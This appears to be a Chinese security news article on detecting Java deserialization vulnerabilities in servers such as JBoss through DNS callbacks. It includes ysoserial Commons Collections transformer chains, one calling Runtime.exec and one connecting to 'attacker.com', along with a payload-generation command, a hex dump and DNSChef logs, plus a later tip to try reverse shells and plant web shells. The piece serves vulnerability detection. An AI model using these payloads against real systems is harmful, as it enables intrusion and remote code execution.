當前位置:
首頁 > 新聞 > 藉助DNS解析來檢測Java反序列化漏洞

藉助DNS解析來檢測Java反序列化漏洞

藉助DNS解析來檢測Java反序列化漏洞



安全問題中最重要的是什麼,我們認為重要的就是確保數據來源的安全性和對敏感數據的保護。


Java 對象序列化是 JDK 1.1 中引入的一組開創性特性之一,用於作為一種將 Java 對象的狀態轉換為位元組數組,以便存儲或傳輸,不過我們還可以將位元組數組轉換回 Java 對象原有的狀態。這種特性給我們帶來了方便,但是也給我們帶來了危險。


如果我們傳輸的序列化數據中途被截獲,截獲方通過反序列化就可以獲得裡面的敏感數據,比如DNS的信息,甚至對裡面的數據進行修改然後發送給接收方。

目前,Java反序列化漏洞已被大家所熟知。儘管如此,我們仍然會遇到這類型的漏洞,不過我們可以使用一些工具來識別出這些漏洞。大多數識別工具依賴於命令執行API。但是,由於操作系統的環境限制,有效載荷的命令有時也會失敗。另外,使用的命令有時也會丟失,或者有效載荷的命令會由於所安裝版本所需的參數不同而發生變化,例如GNU netcat vs OpenBSD netcat所需的參數。


由於執行命令的上述限制,檢測這些漏洞就不可避免的需要做許多嘗試。由於每個漏洞都不得不發送多個有效載荷,所以要實現Java 反序列化漏洞的檢測是非常困難的。不過,我們可以自定義一個通用的有效載荷,將進行大規模檢測。不過在介紹我們的這個檢測方法之前,讓我們先說明一下這個檢測所針對的有效載荷的運行環境:


1.有效載荷完全不受操作系統的影響,如Windows,Ubuntu,Alpine Linux(Docker),Solaris,AIX等,2.即使Web容器正在運行安全管理器或沙盒,也可進行檢測,3.支持最常見的JVM 1.6以上的版本,不過也可能是jvm1.5以上的版本,


YSoSerial(於java反序列化工具)生成的大多數載荷都符合這些條件:

藉助DNS解析來檢測Java反序列化漏洞



檢測思路的調整


例如,我們發現了一個老的由5.1.0 GA – EOL支持JBoss樣本,並且還對外開放了JMXInvokerServlet介面。根據我們的經驗,這個JBoss樣本應該存在Java 反序列化漏洞。但我們利用所有已知的漏洞測試工具對這個JBoss樣本進行測試,但沒有發現漏洞。


測試失敗存在兩種可能性:一是這些工具在這個特定的環境中起不到檢測效果,二是目標系統已經打了補丁。然而,我們利用一個簡單的有效載荷進行了DNS查詢,發現DNS已經泄露,這就證明我們的猜想是對的。所以現在,我們要通過對DNS泄露的檢測來進行漏洞檢測,不過要避免命令執行API。


創建一個檢測DNS泄露的工具

為了確認創建的工具可用,我們將修改YSoSerial提供的一個現成工具。


接下來,我們將使用一個簡單的代碼來代替命令執行載荷,該代碼將觸發一個DNS解析。使用的最常見的一個有效載荷是Commons Collection。其中,「Transformer」鏈會觸發下面的代碼:


Transformer鏈(使用了命令執行載荷):


final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] , new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] , new Object[] ), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };


觸發的代碼:


不過不能使用nslookup命令觸發DNS解析,因為我們是希望避免使用命令執行API的,所以只能直接使用Java API。唯一的特殊要求是代碼序列必須使用telescopic API,換句話說,代碼序列不能使用臨時變數。


下面是修改過的Transformer鏈(使用了DNS解析載荷):


final Transformer[] transformers = new Transformer[] { new ConstantTransformer(new URL("http://resolve-me-aaaa.attacker.com")), new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}), new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}), new InvokerTransformer("read", new Class[] {}, new Object[] {}) };


Transformer鏈相當於以下的Java代碼。它將嘗試啟動HTTP連接,但這裡的關鍵問題是要觸發DNS解析:


確認檢測目標中是否存在Java 反序列化漏洞

現在,我們就生成一個可以解析唯一主機名的工具。唯一的名稱可以確保我們跟蹤伺服器,以監控是否進行了任何反序列化的操作。伺服器可能會對Java 反序列化漏洞進行多次評估這個漏洞,或延遲評估。另外,使用唯一主機名可以避免檢測時所產生的混亂,尤其是掃描多台主機時。在ysoserial中,已經有可用的完整POC代碼:


$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU.....00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet..00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java.00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy. . ..C....L.000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~[...]


如果收到DNS查詢,則證明存在Java 反序列化漏洞。記錄DNS查詢請求的工具很多,如 DNS chef,Burp Collaborator或tcpdump。在下面的檢測中,我們使用DNS Chef來記錄查詢請求:


# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0[*] DNSChef started on interface: 0.0.0.0[*] Using the following nameservers: 8.8.8.8[*] Cooking all A replies to point to 127.0.0.1[12:16:05] 74.125.X.X: cooking the response of type A for resolve-me-aaaa.attacker.com to 127.0.0.1[12:16:05] 192.221.X.X: cooking the response of type A for resolve-me-aaaa.attacker.com to 127.0.0.1

藉助DNS解析來檢測Java反序列化漏洞



一旦確認有漏洞被檢測到,為了得到一個SHELL命令,我們還需要繼續做一些嘗試來觸發一些錯誤命令。下面,就是一些獲取SHELL命令的方法:


1.確保你已經測試了各種反向shell命令


2.「Common collection」載荷在某些特定的JVM中可能會失敗(如IBM J9)


3.如果目標強制執行了一個安全管理器,你可能需要製作一個自定義的檢測工具。你可以通過「DEADCODE』s blog article」去了解transformer鏈的大概情況。目前比較流行的做法是找到Web根目錄的路徑,並編寫一個可以延遲執行的web shell。不過這個工具只有在目標環境中的安全管理器阻止命令執行時才會用到。

工具視頻演示


以下是我們開發的Break Fast Serial工具的簡短演示,視頻演示了如何對單個Web伺服器進行掃描,使得Java 反序列化漏洞通過DNS 泄露被最終確認。該工具還支持在掃描模式下,同時對多個IP和埠進行掃描。該掃描器將會對JBoss,Weblogic和Jenkins等易受攻擊的版本進行檢測。


總結


DNS滲透檢測有三個好處:


1.它可以提升反序列化漏洞檢測的效率,


2.它可以同時對多台主機進行自動掃描,


3.即使目標伺服器處於最嚴密的防火牆環境中,它也會識別出Java 反序列化漏洞。


那麼要怎麼安全的使用序列化呢?


針對開頭提到的兩點,我們有如下思路:


1.避免傳遞敏感數據,在對象中,可以使用關鍵字修飾敏感數據的變數,這樣它就不會寫入到序列化流中。

2.對數據進行先簽名後加密的策略。如果非要傳遞敏感數據,那就使用這個方法,別人也就無法解密以及偽造。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

安全圈《吐槽大會》,你看不慣的,來這兒「嘶」!
趨勢科技2016年企業安全威脅報告總覽
通過偽造內網網站繞過彈出窗口屏蔽、XSS過濾器以及Navigate方法
三星Tizen系統爆出40個漏洞,被吐槽編程水平像沒畢業大學生

TAG:嘶吼RoarTalk |

您可能感興趣

VisionLib推跨平台AR質檢方案,可結合CAD對比檢測
Apple調查iPhone XS系列信號問題:記錄器檢測數據
Nature:揭示DNA損傷檢測新機制-滑動輔助位點暴露
技術解析系列PouchContainer Goroutine Leak 檢測實踐
曠視科技Oral論文解讀:IoU-Net讓目標檢測用上定位置信度
Science:攜帶型DNA測序儀在檢測病毒疫情中大顯身手
NSA威脅檢測Sharkseer計劃即將轉移
使用Delphi Packer來繞過惡意軟體檢測
基因檢測時代來臨!Nature Genetics:大數據分析預測常見致命疾病風險
通過機器學習進行惡意PowerShell檢測
Micro LED顯示器檢測修復大挑戰
解讀目標檢測新範式:Segmentations is All You Need
蘋果iPhone氣體檢測專利曝光
marie claire美女主編親身體驗SkinDNA皮膚基因檢測
microRNA精準檢測研究取得進展
Accurate檢測項目和意義
谷歌修改Chrome API 防止隱身模式檢測
NVIDIA發布Clara AI平台 檢測早期疾病
Brugada綜合征基因檢測研究進展
AT&T計劃收購AlienVault,加強網路威脅檢測與響應服務